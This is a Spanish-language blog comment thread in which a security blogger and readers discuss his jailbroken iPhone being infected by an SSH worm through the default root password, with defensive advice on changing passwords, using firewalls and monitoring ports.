En mi caso, me encanta el sistema operativo Mac y me siento cómodo con mi Iphone, sin embargo tuve la mala suerte que en el poco espacio de tiempo entre que instalé OpenSSH y que cambié la contraseña por defecto, otro iphone infectado me "pwneó" el mío...

Lorenzo_Martinez dijo...

Gracias por el apoyo Tommy! Yo también me siento cómodo con Mac. Jejeje ahora veo que no soy el único que de vez en cuando mira los servicios levantados, procesos corriendo, puertos abiertos, etc, etc,... Sigue usando el firewall del propio Mac, actualizando cuando veas que hay nuevos paquetes (si puedes deja un mínimo margen de tiempo para ver si da problemas a otros usuarios), usa el sentido común antes de ejecutar cualquier cosa... Añade protección anti-XSS con extensiones como noscript,... procura no conectarte a redes wireless que no conoces y como dices, sigue monitorizando los procesos/puertos de vez en cuando.

Lorenzo_Martinez dijo...

Cierto, durante unos 10 minutos de tiempo, esa fue la contraseña. Suficiente como para que otro infectado, me entrara por SSH! Qué mala suerte jeje

Pedruskus dijo...

Muy interesante y muy currado el post, pero hay que resistirse a instalar ssh. Y aunque sin jailbreak tampoco se este seguro del todo al menos no se puede instalar ssh con una contraseña por defecto. Aun con todo creo que es mas tentador desde el punto de vista del que hace malware afectar a android para abarcar mas

Juan Aguilera dijo...

Hombre, yo no soy de iPhone, tengo un móvil con android y ni siquiera lo he rooteado pero en este caso no es fallo de apple. Esto es el equivalente a decir: "ey! bajaros este arreglo para el sistema operativo, la contraseña de root es alpine" Eso, sea android, linux o lo que quieras es un suicidio. Lo raro es que en alguien como tú, con la experiencia que tienes se te olvidara cambiar el password. El problema es que has sido un despistado. ;)

Si todo aquel que le hace jailbreak cambia la contraseña, antes de darle conexión a internet, no tendrá ningún problema. Y si no la cambia, se arriesga no solo a este medianamente inofensivo virus, si no a que alguien se pasee por tu móvil con privilegios de root.

Saludos.

Juan Aguilera dijo...

Acabo de ver en otro comentario que tu despiste duró 10 minutos. Ya tienes suerte... Más vale que compres la loteria que seguro que te toca. ;)

La siguiente IP para propagarse cómo la escoge ¿aleatoriamente?

Lorenzo_Martinez dijo...

Por eso me ha extrañado cuando la gente en los comentarios dice: pero no eres tú el que da consejos de seguridad para iPhone y te infectas con el virus Ikee por no cambiar la password por defecto?!

No sé si fueron 10 ó 15 minutos, pero es mala suerte que entre que lo instalo y cambio la password por defecto, otro iPhone en la misma red me infecte verdad? :D

El bicho ataca las IPs de las redes que he reseñado en el post y además coge las de la red a la que pertenece el propio interfaz pdp_ip0

DekkaR dijo...

"El malware para Apple es un hecho y ha llegado para quedarse!" Toma del frasco Steve Jobs.Y todo el "documentado" articulo habla de un dispositivo iOS modificado por un proceso que elimina la seguridad del dispositivo. Con un par...Ahora que los productos de Apple tienen una masa critica, igual mucha gente queda en evidencia y una de esas "verdades" o leyendas "de la red", que por repetida, se asume su infalibilidad, "los Mac no tienen virus, por que son pocos".El problema de Windows no es su "número", sino su arquitectura.Las plataformas Unix (OSX, Linux, iOS, SunOS, etc), no son seguros 100%, pero históricamente han demostrado, que su arquitectura de sistema operativo,  hace muy difícil que la historia vivida por los sistemas Windows, se repita.Linux ya a demostrado que los virus, no es un problema de "número".Y ahora vienen los OSX e iOS y nos dejan mas en evidencia.Y claro todo esto tiene consecuencias económicas duras. Empresas de antivirus, blogs de seguridad, "especialistas y consultores" de seguridad, que empiezan a ver un futuro de tonos oscuros.

Mr.Q dijo...

Que paquetes has descargado de Cydia para tener Netstat y demás comandos?
Alguna recomendacion?

Q.

Lorenzo_Martinez dijo...

Hola, el paquete se llama network-cmds (contiene arp, ifconfig, netstat, route, traceroute) Está en el repositorio de Cydia/Telesphoreo en la sección Networking. Quizá tengas que configurar Cydia en modo Developer o Hacker para que te aparezcan todos los paquetes al buscar. Por defecto, el más light te muestra menos paquetes.

No obstante, si te bajas la herramienta Sysinfoplus (también en Cydia), puedes ver más o menos lo mismo que con netstat pero en una app para el iphone.

Lorenzo_Martinez dijo...

Hola, le acabo de contestar a Matias Delvalle más arriba -> Network-cmds

Madrikeka dijo...

No creo que Mac sea mejor que Windows y Linux, yo no me siento cómoda con ellos XD
 
Pero que se ataque menos, no significa que sea mejor sistema, mas que nada, por que en la mayoria de los Pwn2Own que se han realizado, el primero en caer casi siempre ha sido el producto de Apple, por algo será no?

Un saludo.

Madrikeka dijo...

No creo que Mac siga teniendo una masa crítica comparado con Windows o incluso Linux.
 
Que se ataque menos, no significa que sea mejor sistema, mas que nada, por que en la mayoria de los Pwn2Own que se han realizado, el primero en caer ha sido Apple, por algo será no?

y yo soy de las que piensa que Apple tendrá sus grandes momentos en el mundo del malware. 

Un saludo.

PD: Sigo algo descontenta con Disqus para los comentarios. El que estoy poniendo ahora mismo no se si va a salir repetido XD

Matias Delvalle dijo...

Gracias Lorenzo

Loverpiu dijo...

Considero a Mac como una secta, mi iphone es lo mejor, mi Mac, mi ipad, mi iPod, todo en la vida es pasajero, hasta la propia vida.....

"El único sistema seguro es aquél que está apagado en el interior de un
bloque de hormigón protegido en una habitación sellada rodeada por
guardias armados"

-- Gene Spafford

Lorenzo_Martinez dijo...

Secta no sé, pero a lo largo de mi vida he pasado de ser usuario de  Windows a Linux y de Linux a Mac. Actualmente uso Mac como desktop y Linux en servidores. Yo creo que todos los sistemas operativos tienen su propia filosofía, puestos a hablar de un sistema operativo cerrado, entre Windows y Mac, de momento me quedo con Mac. Les queda invertir más esfuerzo en seguridad y tendrán un sistema operativo que, para mí, cumple todo lo deseado.

Omar B Villa dijo...

Buenas, acabo de comprobar como yo también tengo al amigo POC-BBOT.
Tenía problemas en la duración de la batería y @Lorenzo_Martinez:disqus me ha recomendado instalar Sysinfoplus (el ya lo estaba viendo venir xDD), y me he llevado la sorpresita.Que yo recuerde que nunca instalé el openssh, pero hice el jailbreak con greenpoison, y es posible que de forma automática se instalase, debería probarlo de nuevo para estar seguro. Apenas tengo aplicaciones instaladas, 4 desde Installous (Dreambox, Full Fitness, Timelapse y Runmeter) y Tomtom Iberia 1.7.Si tenéis dudas... comprobadlo!!Un saludo,

f0n dijo...

armados y muy bien pagados :D

PhoBos dijo...

Estoy de acuerdo en que el mejor antivirus es el sentido común pero usando antivirus gratuitos no son muy seguros puesto que la mayoría solo detectan malware por firmas. Que un antivirus no te de ninguna alerta no significa que estés 100% seguro, pero me imagino que esto ya lo sabrías. Por otro lado excelente artículo cuando tenga tiempo haré un test a mi ipodtouch jailbreak.

PhoBos dijo...

Yo me incluyo en el grupo de paranoicos, de paso felicitarte por la gran explicación.  Te infectaron por tener el passwd por default pero lo importante es detectar anomalías a tiempo.

Alpha21 dijo...

Men lo felicito, en verdad necesitamos mas cybernetics en esta internet tan vulnerable, muchos navegamos la red, a ciegas.. nada....... gracias por tan buena explicacion ....bye